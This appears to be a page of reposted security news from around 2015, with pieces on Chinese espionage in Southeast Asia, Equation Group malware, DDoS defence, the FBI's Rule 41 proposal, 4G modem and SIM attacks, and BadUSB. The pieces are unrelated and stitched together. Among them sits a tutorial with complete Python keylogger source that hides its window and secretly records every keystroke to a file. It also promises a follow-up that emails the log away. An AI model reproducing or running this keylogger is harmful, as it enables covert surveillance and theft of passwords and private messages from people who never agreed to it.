Hacking: Chinese Hackers Target Southeast Asia, India   

Monday, April 13, 2015:  Hackers, most likely from China, have been spying on governments and companies in Southeast Asia and India, a US cybersecurity company ‘FireEye Inc’ said in a report.

In the report the company said that the attacks have been designed to glean intelligence, likely from classified government networks and other sources, pertaining to political and military issues such as disputes over the South China Sea.

Some of the cyberattacks have taken the form of specially crafted emails, written in recipients’ native languages, with documents that appear legitimate but contain malware, the report said. 

The attackers focused not only on governments, but on ASEAN itself, as well as corporations and journalists interested in China. Other targets included Indian or Southeast Asian-based companies in sectors such as construction, energy, transport, telecommunications and aviation.

The Milpitas, Calif.-based FireEye said the hacking efforts are remarkable because of their duration—noting some elements have been in place since 2005 and stand out because of their geographic focus. 

China has been accused before of targeting countries in South and Southeast Asia. In 2011, researchers from McAfee reported a campaign dubbed Shady Rat which attacked Asian governments and institutions, among other targets. 

The problem is not new; Singapore has reported sophisticated cyber-espionage attacks on civil servants in several ministries dating back to 2004. 

Sushma rani, EFYTIMES News Network 

How To Make A Python KeyloggerPosted by  Ivan Blazevic in Articles, Programming, Python

This is tutorial that explains how to make simple keylogger that records keystrokes activities on pc and store it in .txt file. To make our keylogger we’ll use python. Why python? Python is simple powerfull and flexible programming language. By my opinion the best ,with few lines of code you can do amazing things.If you never used python , read my previous article How To Create Your First Python Program where I explained how to run simple “Hello World” script .

To make programming easier python has “Modules” that contains useful code that can extend python functionalities.
For python keylogger we’ll need to download pywin32 & pyHook modules

Step 1

Download and install pywin32 from this LINK 

pywin32

Step 2

Download and install pyhook from this LINK 

pyhook

Step 3

Launch IDLE python as Administrator and click on FIle -> New Window

idle python

new windows

Here is complete keylogger code , described with comments :
Python Keylogger Code :

 

Source code    
import win32api
import win32console
import win32gui
import pythoncom,pyHook
 
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
 
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

In the new window copy paste python keylogger code and click on Run -> Run Module .

kezlogger run

After this your keylogger will be launched and all keystroke activity will be stored in ‘c:\output.txt’. In the next tutorial we’ll extend python keylogger with fonctionality that send “output.txt” to specific email address. You can found keylogger code on my github account https://github.com/blaz1988/keylogger/blob/master/keylogger.py

If you’re loking for more poerful keylogger check out  Facebook Keylogger

PC Hacks Article

 

New Evidence Strengthens NSA Ties To Equation Group Malware

from the tax-funded-hacks dept.
An anonymous reader writes:When researchers from Kaspersky Lab presented the Equation Group espionage malware, many in the security community were convinced it was part of an NSA operation. Now, Kaspersky has released new evidence that only strengthens those suspicions. In a code sample, they found a string named BACKSNARF_AB25, which happens to be the name of a project in the NSA’s Tailored Access Operations. Further, when examining the metadata on the malware files, they found the modification timestamps were almost always consistent with an 8-5 workday in the UTC-3 or UTC-4 timezones, consistent with work based in the eastern United States. The authors also tended to work Monday through Friday, and not on the weekends, suggesting a large, organized development team. “Whereas before the sprawling Equation Drug platform was known to support 35 different modules, Kaspersky has recently unearthed evidence there are 115 separate plugins. The architecture resembles a mini operating system with kernel- and user-mode components alike.”ORIGINAL ARTICLE 

A Hybrid Approach: Rewriting the Rules for DDoS Defense

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The dilemma for organizations when implementing an effective DDoS defense is whether to deploy on-premises DDoS protection or subscribe to a cloud-based provider. These decisions are not taken lightly, as the threat landscape is wide ranging and increasingly sophisticated.

Organizations outlining their DDoS defense strategy typically begin by looking to out-of-band defenses and anti-DDoS scrubbing-lane approaches for re-routing traffic once an attack has been identified. This approach is a good first step for DDoS prevention; however, it’s only the tip of the iceberg. The recommendation from industry analysts is to execute a two-pronged approach, to include in-line, real time detection and attack mitigation as the primary means for DDoS defense, and cloud anti-DDoS for full pipe saturation attacks.

Here’s why: partial saturation attacks are becoming more commonplace. These DDoS attacks are large (relatively speaking), but only last for a short period of time, and they do not fully saturate the internet link. While these attacks can be devastating to unprotected downstream border defenses, hosted customers or internet-facing services, the motive is most often financial gain or stealing sensitive data. Additionally, these partial saturation events are not long enough in duration for attacks to be detected and re-routed quickly enough for cloud-based DDoS mitigation solutions to provide much, if any benefit.

When assessing DDoS defense strategies, the solutions aren’t like-for-like comparisons. However, there is a suggested approach to protect against the entire spectrum: hybrid on-premise and cloud DDoS mitigation. Let’s look at each of the components.

Cloud Anti-DDoS Solution

DDoS protection, provisioned as a service, is most often an on-demand option for large-scale attacks. Massive volumetric attacks occur when more traffic than the total bandwidth of a network link is sent, which no amount of hardware resources will effectively combat.

Human intervention is critical to an on-demand defense approach – once detected an analyst must then decide to enable the transition to the cloud. In a recent study nearly 50% cited customer complaints as their initial means of DDoS notification. The time from detection to mitigation could range to upwards of one hour with this approach. However, the majority of volumetric attacks last 30 minutes or less. By the time your on-demand defenses are engaged the damage is done.

With out-of-band cloud anti-DDoS, visibility and analysis begin only after the traffic has been re-routed to the scrubbing service, allowing for little if any insight into the attack, eliminating all analysis capabilities.

Some businesses that frequently experience these attacks subscribe to an always-on anti-DDoS cloud solution service. The costs associated with this are substantial. If frequent, massive volumetric DDoS attacks are the Achilles’ heel of your organization, it’s hard to put a price on uninterrupted service availability.

“If frequent, massive volumetric DDoS attacks are the Achilles’ heel of your organization”

On-Premises Real-Time Defense

Purpose-built DDoS defense solutions are deployed between the internet and the enterprise network. A first-line-of-defense approach prevents outages by inspecting traffic at line-rate and blocking attacks in real time while allowing approved traffic to flow. On-premises, real-time defence enables complete and sophisticated visibility into DDoS security events when deployed at the network edge. Additionally, archived security event data will enable forensic analysis of past threats and compliance reporting of security activity, acting as a strong advantage against attackers when DDoS is utilized as a distraction.

Given its nature, precise enforcement of mitigation policies against attack traffic must be accomplished without incurring false positives, with line-rate performance and maximum security efficacy. On-premises technology is designed to handle volumetric network-based attacks, reflective and amplified spoof attacks as well as application layer attacks.

A Possible Silver Bullet – The Hybrid Approach

In 2014 the SANS Institute reported: “DDoS mitigation solutions integrating on-premises equipment and ISP and/or mitigation architectures are nearly four times more prevalent than on-premises or services-only solutions. The growing sophistication of DDoS attacks and the sensitive nature of potential disruption to business services require both local and upstream protections that work in sync.”

The concept of on-demand cloud defense for a pipe saturation attack coupled with always on, on-premises defense provides protection against the whole spectrum. Businesses that engage with their on-demand DDoS mitigation provider can quickly initiate that service based on visibility in the event of a massive volumetric attack. The main benefit of a hybrid approach is that the on-premises device heavily reduces the number of times an organization switches over to the cloud – lowering cost and providing comprehensive and consistent defense.

During the switchover, an on-premises solution would continue to provide the necessary protection for any threats not mitigated by the cloud. Continuous monitoring can show when your organization can return to normal operation and collaborative communication and sharing of information between you and your provider enables comprehensive visibility, enhancing the overall security performance of your network.

The implementation of an always-on solution combined with on-demand cloud defense provides businesses with a means of safeguarding against the vast scope of DDoS attacks posed to their networks. With DDoS attacks now being delivered in various sizes and with differing intentions, ensuring that the appropriate prevention best practices are utilized correctly could well be what saves your organization from falling victim to a major breach of information.

ORIGINAL ARTICLE

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
About the Author

Dave Larson is CTO at Corero Network Security. He is responsible for directing the Corero technology strategy, bringing over 20 years’ experience in the network security, data communication and data center infrastructure industries. Most recently, he served as CTO for HP Networking and vice president of the HP Networking Advanced Technology Group. Prior to HP, Larson was vice president of Integrated Product Strategy for TippingPoint and has held senior roles with Tizor Systems, Sandburst Corporation and Xedia Corporation.

FBI Seeks To Legally Hack You If You’re Connected To TOR Or a VPN

Law would allow law enforcement to search electronic data if target computer location has been hidden through Tor or VPN

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Original Article

by NICOLE KARDELL | FEE | JANUARY 20, 2015

The FBI wants to search through your electronic life. You may think it’s a given that the government is in the business of collecting everyone’s personal data — Big Brother run amok in defiance of the Constitution. But under the limits of the Fourth Amendment, nothing it finds can be used to prosecute its targets. Now the FBI is taking steps to carry out broad searches and data collection under the color of authority, making all of us more vulnerable to “fishing expeditions.”

The investigative arm of the Department of Justice is attempting to short-circuit the legal checks of the Fourth Amendment by requesting a change in the Federal Rules of Criminal Procedure. These procedural rules dictate how law enforcement agencies must conduct criminal prosecutions, from investigation to trial. Any deviations from the rules can have serious consequences, including dismissal of a case. The specific rule the FBI is targeting outlines the terms for obtaining a search warrant.

It’s called Federal Rule 41(b), and the requested change would allow law enforcement to obtain a warrant to search electronic data without providing any specific details as long as the target computer location has been hidden through a technical tool like Tor or a virtual private network. It would also allow nonspecific search warrants where computers have been intentionally damaged (such as through botnets, but also through common malware and viruses) and are in five or more separate federal judicial districts. Furthermore, the provision would allow investigators to seize electronically stored information regardless of whether that information is stored inside or outside the court’s jurisdiction.

The change may sound like a technical tweak, but it is a big leap from current procedure. As it stands, Rule 41(b) only allows (with few exceptions) a court to issue a warrant for people or property within that court’s district. The federal rules impose this location limitation — along with requirements that the agent specifically identify the person and place to be searched, find probable cause, and meet other limiting factors — to reduce the impact an investigation could have on people’s right to privacy. Now the FBI is asking for the authority to hack into and search devices without identifying any of the essential whos, whats, wheres, or whys — giving the FBI the authority to search your computer, tablet, or smartphone even if you are in no way suspected of a crime.

All you have to do is cross the FBI’s virtual path. For instance, the proposed amendment would mean that agents could use tactics like creating online “watering holes” to attract their targets. Anyone who clicked on law enforcement’s false-front website would download the government malware and expose their electronic device to an agent’s search (and also expose the device to follow-on hackers). One obvious target for this strategy is any forum that attracts government skeptics and dissenters — FEE.org, for example. Such tactics could inadvertently impact thousands of people who aren’t investigation targets.

This sort of sweeping authority is in obvious conflict with the Constitution. The Fourth Amendment makes it clear that the government cannot legally search your house or your personal effects, including your electronic devices, without (1) probable cause of a suspected crime (2) defined in a legal document (generally, a search warrant issued by a judge) (3) that specifically identifies what is to be searched and what is to be seized.

The FBI is not the first government agency to find itself challenged by the plain language of the Fourth Amendment. Past overreach has required judges and Congress to clarify what constitutes a legal search and seizure in particular contexts. In the 1960s, when electronic eavesdropping (via wiretaps and bugs) came about, Congress established the Omnibus Crime Control and Safe Streets Act of 1968 (the Wiretap Act). The law addressed concerns about these new surreptitious and invasive investigative tactics and provided several strictures on legal searches via wiretap or bug. Since covert investigative tools can be hard to detect, it was important to institute more rigorous standards to keep agents in line.

The same concerns that Congress addressed in the 1960s are present today, but they take on far greater significance. With our growing reliance on electronic devices to communicate with others, to transact business, to shop, travel, date, and store the details of our private lives, these devices are becoming our most important personal effects. The ability of government actors to enter our digital space and search our electronic data is a major privacy concern that must be checked by Fourth Amendment standards. As the Supreme Court recently pronounced in Riley v. California, the search of a modern electronic device such as a smartphone or computer is more intrusive to privacy than even “the most exhaustive search of a house.”

What seems most troubling, though, is that the FBI is attempting to override the Fourth Amendment, along with the body of law developed over the years to reign in surveillance powers, through a relatively obscure forum. Instead of seeking congressional authority or judicial clarification, it has sought a major power grab through a procedural rule tweak — a tweak that would do away with jurisdictional limitations and specificity requirements, among other important checks on law enforcement. The request seems objectively — and constitutionally — offensive.

Hacking 4G USB modems and SIM Card via SMS

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A group of experts managed to uncover USB modem vulnerabilities that allow a potential attacker to gain full control of the connected system.

A team of researchers at Positive Technologies conducted a study on how to compromise USB modems and attack SIM cards via SMS over 4G networks at the PacSec and Chaos Computer Club conferences in Tokyo and Hamburg.

The team consisting of Sergey Gordeychik, Alexander Zaitsev, Kirill Nesterov, Alexey Osipov, Timur Yunusov, Dmitry Sklyarov, Gleb Gritsai, Dmitry Kurbatov, Sergey Puzankov and Pavel Novikov.

The experts discovered that 4G USB modems are affected by vulnerabilities that could be exploited by threat actors to gain full control of the machines to which the devices are connected.

The researchers also demonstrated that exploiting the flaws they were able to access subscriber accounts on carrier portals, simply by sending a binary SMS, they are able to lock SIM cards and sniff and decrypt device traffic.

The researchers analyzed six USB modems running 30 separate firmware and discovered that just 10% of the software tested was resilient to the attacks.

“First, we identified the gear. The documentation and search engines helped us with that. In some cases Google was even more useful: it gave us the password for Telnet access. However, for external communications we need http, not Telnet. Just connect the modem to a computer and manage it as a separate network node with web applications. It gives you the opportunity to launch an attack via a browser (CSRF, XSS, RCE). This way you will force the modem to give out a lot of useful information about itself.” states the blog post published by the researchers.

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The team used Google to find publicly available telnet access credentials via Google, but they needed http access in order to sniff communications.

The attack technique was very ingenious, once connected the 4g USB modems to their computers, the researchers were able to run several browser-based attacks, including cross-site request forgery, cross-site scripting and remote code execution attacks. The attacks allowed researchers to retrieve several information like the international mobile subscriber identities, the interface types, firmware versions, the universal integrated circuit cards, international mobile station equipment identities and software versions, device names, WI-Fi statuses and more.

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In a more scaring attack scenario the researchers installed a bootkit on the targeted device, to do this they installed a USB keyboard driver, which causes the computer to identify the modem as an input device. At this point using a pseudo keyboard to issue the command the attacker were able to reboot the system from an external disk or the from the modem itself. Then they served and installed a bootkit that allows them to remotely control the device as showed in the following video PoC.

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The experts highlighted the dangerous impact of the vulnerabilities in 4g USB modem on the industrial sector, for example, in all those processes that are using machine-to-machine (M2M) communications. SCADA and ATM are just a few samples of systems that use the technology.

M2M applications are very common in several critical infrastructure installations, including industrial control systems (ICS) and supervisory control and data acquisition (SCADA) systems.

” It is not only the matter of security for trendy smartphones that we use to read news feed in social networks. Multiple critical infrastructures including industrial control systems (SCADA) also implement digital mobile communication based on the GSM standard. Another example from everyday life is having your money stolen from bank accounts. No one would like to become a victim of that. Yet you might have seen small antenna on ATMs. Yes, it is also GSM.” continues the post.

The researchers also run SIM attacks that was slightly less effective, they succeeded to exploit nearly the 20 percent of the 100 SIM cards they used. The success rate depends on the capability to brute-force the data encryption standard (DES) keys protecting the SIMs.

“To brute-force DES keys, we use a set of field-programmable gate arrays (FPGA), which became trendy for Bitcoin mining a couple of years ago and got cheaper after the hype was over,” states the post. “The speed of our 8 modules *ZTEX 1.15y board with the price tag of 2,000 Euro is 245.760 Mcrypt/sec. It is enough to obtain the key within 3 days.”

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To run brute-force attack on partially known 3DES key they spent nearly 10 days, once the DES or 3DES is broken, the experts were able to issue commands to toolkit applications (TAR).

“Then we may easily issue commands to well-known TARs and manage them; e.g. Card Manager allows installing a Java application to the SIM.

Another curious TAR is a file system that stores TMSI (Temporary Mobile Subscriber Identity) and Kc (Ciphering Key). We may perform the following actions via a binary SMS:

decrypt subscriber traffic without using brute force attacks on DES,
spoof a subscriber’s identity (receive his/her calls and SMS),
track a subscriber’s whereabouts, cause DOS by entering 3 wrong PIN codes and 10 wrong PUK codes in a row if PIN code is enabled for file system protection.

ORIGINAL ARTICLE

Transforming USB sticks into undetectable malicious devices

Original Article

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Two researchers Brandon Wilson and Adam Caudill released their attack code to reprogram USB sticks and use them as an undetectable hacking instrument.
Recently, two independent researchers, Brandon Wilson and Adam Caudill, have released the code which can reprogram, benign USB devices turning them in malicious components.

The experts published the code on the Github raising the question related to the real level of security of USB devices, the BadUSB research was approached in detail during the Black Hat conference when security experts demonstrated the risks related to an undetectable menace carried via USB.

Security experts explained that USB devices can be used to compromise personal computers in a potential new type of attacks that could not be detected with all actual security protections.

Karsten Nohl, chief scientist with Berlin’s SR Labs, discovered that bad actors could exploit this new class of attacks loading malicious software low-cost computer chips that control the functions of USB devices.

The researchers from SR Labs, which presented the attack scheme during the Black Hat conference this summer, point a series of flaws in the software used to run a tiny electronic components, these components are usually designed without protections against tampering with their code.

Hackers can uncover such flaws and exploit them creating serious problems to the targeted architecture.

“You cannot tell where the virus came from. It is almost like a magic trick,” said Nohl.

Nohl explained that his team has written malicious code and deployed it into USBcontrol chips used in thumb drives and smartphones, at this point it is sufficient that victims connect the USB device to a computer to trigger the execution of malicious software.

Nohl and Lell’s BadUSB demonstrations during Black Hat illustrated how their code could overwrite USB firmware and turn a USB device into anything. A flash drive plugged into a PC, could for example, emulate a keyboard and issue commands that steal data from the machine, spoof a computer’s network interface and redirect traffic by altering DNS settings, or could load malware from a hidden partition on the drive.

Antivirus software are not able to detect malicious firmware that controls USB devices, the code inserted with this method can be used for many purposes, including spy on communications, data tampering and log keystrokes.

But while Karsten Nohl decided to not disclose the attack code, Brandon Wilson and Adam Caudill made public their source code to solicit the IT industry to adopt necessary measures for securing USB firmware from malicious manipulation.

“The security of these devices is completely compromised.” “The security of these devices is completely compromised,” Wilson said. “You can’t trust anything you plug into your computer any longer, not even something as simple as a flash drive.”
“We’re just taking advantage of the USB protocol,” Wilson said. “This drive is a reprogrammable computer that allows you to do all sorts of things. It allows you to be any device, and up until now, most developers had hard-coded them to behave in specific ways. The firmware on a flash drive makes it behave like a flash drive.”

After Black Hat, Wilson said he bought numerous drives and tested them and were able to take advantage of existing tools used to update firmware to get their code to overwrite the firmware on the Phison device. At Derby Con, they were able to demonstrate their attack with the device pretending to be a keyboard that typed out a predetermined script once it was plugged into the host computer. They also showed another demo where they had a hidden partition on a flash drive that was not detected by the host PC.

“It’s undetectable while it’s happening,” Wilson said. “The PC has no way of determining the difference. The way a PC determines the type of device all happens through the USB and code on the other device. Our ability to control that code means you cannot trust anything a USB device tells you.”

This kind of attack is very insidious, it is necessary that the device manufacturers will improve the level of security for their devices, avoiding for example the unauthorized firmware overwriting using digitally signed code for the USB device firmware.

“The fact that we were so easily able to change the firmware is an easy fix. The manufacturers could implement code-signing, but they don’t do that at all” Wilson said. “That needs to change. And even if they do add code-signing, you still have the other aspect which is that the computer cannot trust what you’re plugging into it. To truly fix the problem, it has to be fixed on the host.” “When you have a firmware image, you want to protect it in some way. You want a checksum, or something that the drive uses to validate that something is coming across correctly,” Wilson added. “There’s nothing like that. There needs to be something. Code signing is one approach to take for now. But to really shut it down long term, the host needs to be aware that when you plug in a device you don’t trust, it has to be given an option not to trust it. Because once you plug it in, it’s done.”

Resuming, threat actors could exploit USB as an attack vector simply by reprogramming USB peripherals, so it is crucial to implement protection from such malicious reprogramming.

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Once reprogrammed, any USB devices could be used for various malicious purposes, including:

emulates a keyboard and issue commands on behalf of the logged-in user, for example to exfiltrate files or install malware. Such malware, in turn, can infect the controller chips of other USB devices connected to the computer.
spoofs a network card and change the computer’s DNS setting to redirect traffic.
A modified thumb drive or external hard disk can – when it detects that the computer is starting up – boot a small virus, which infects the computer’s operating system prior to boot.
Unfortunately, no effective defenses from USB attacks are possible in this moment, antivirus cannot access the firmware running on USB devices and behavioral detection very hard to implement.

Pierluigi Paganini

(Security Affairs – hacking, USB)